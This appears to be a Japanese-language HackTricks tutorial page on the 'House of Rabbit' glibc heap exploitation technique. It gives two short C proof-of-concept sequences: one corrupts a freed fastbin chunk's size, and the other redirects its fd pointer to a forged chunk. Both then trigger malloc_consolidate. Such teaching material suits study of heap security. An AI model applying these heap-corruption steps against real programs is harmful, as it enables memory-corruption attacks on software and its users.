5.5 KiB
ハウス・オブ・ラビット
{% hint style="success" %}
AWSハッキングの学習と練習:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングの学習と練習: HackTricks Training GCP Red Team Expert (GRTE)
HackTricksのサポート
- サブスクリプションプランをチェック!
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出してハッキングトリックを共有してください。
必要条件
- ファストビンのfdポインタまたはサイズを変更する能力: これは、ファストビン内のチャンクのフォワードポインタまたはサイズを変更できることを意味します。
malloc_consolidate
をトリガーする能力: これは、大きなチャンクを割り当てるか、トップチャンクをマージすることによって行うことができます。これにより、ヒープがチャンクを統合するようになります。
ゴール
- オーバーラップするチャンクを作成する: 他のチャンクと重なるように1つのチャンクを作成し、さらなるヒープ操作を可能にします。
- 偽のチャンクを作成する: アロケータをだますために、偽のチャンクをヒープ操作中に正当なチャンクとして扱わせます。
攻撃の手順
POC 1: ファストビンチャンクのサイズを変更する
目的: ファストビンチャンクのサイズを操作して、オーバーラップするチャンクを作成します。
- ステップ1: チャンクを割り当てる
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- ステップ 2: チャンクを解放する
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
- ステップ 3: チャンクサイズの変更
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
- ステップ 4:
malloc_consolidate
をトリガーする
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
大きなチャンクを割り当てると、malloc_consolidate
関数がトリガーされ、ファストビン内の小さなチャンクがマージされます。chunk1
の操作されたサイズにより、chunk2
と重なるようになります。
統合後、chunk1
は chunk2
と重なり、さらなる悪用が可能になります。
POC 2: fd
ポインタの変更
目的: ファストビンの fd
ポインタを操作してフェイクチャンクを作成します。
- ステップ 1: チャンクの割り当て
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
説明: 2つのチャンクを割り当て、1つは小さく、もう1つは大きくして、フェイクチャンクのためにヒープをセットアップします。
- ステップ2: フェイクチャンクの作成
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- ステップ 3:
chunk1
を解放する
free(chunk1); // Frees the chunk at 0x602000
説明: chunk1
を解放し、それをfastbinリストに追加します。
- ステップ4:
chunk1
のfd
を修正
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
説明: chunk1
の前方ポインタ(fd
)をchunk2
内のフェイクチャンクを指すように変更します。
- ステップ 5:
malloc_consolidate
をトリガーする
malloc(5000); // Allocate a large chunk to trigger heap consolidation
再度大きなチャンクを割り当てると、malloc_consolidate
がトリガーされ、偽のチャンクが処理されます。
偽のチャンクは fastbin リストの一部となり、さらなる攻撃のための正当なチャンクとなります。
要約
House of Rabbit テクニックは、高速ビンのチャンクのサイズを変更して重複するチャンクを作成するか、fd
ポインタを操作して偽のチャンクを作成することを含みます。これにより、攻撃者はヒープ内で正当なチャンクを偽造し、さまざまな形式の攻撃を可能にします。これらの手順を理解し、実践することで、ヒープの攻撃スキルを向上させることができます。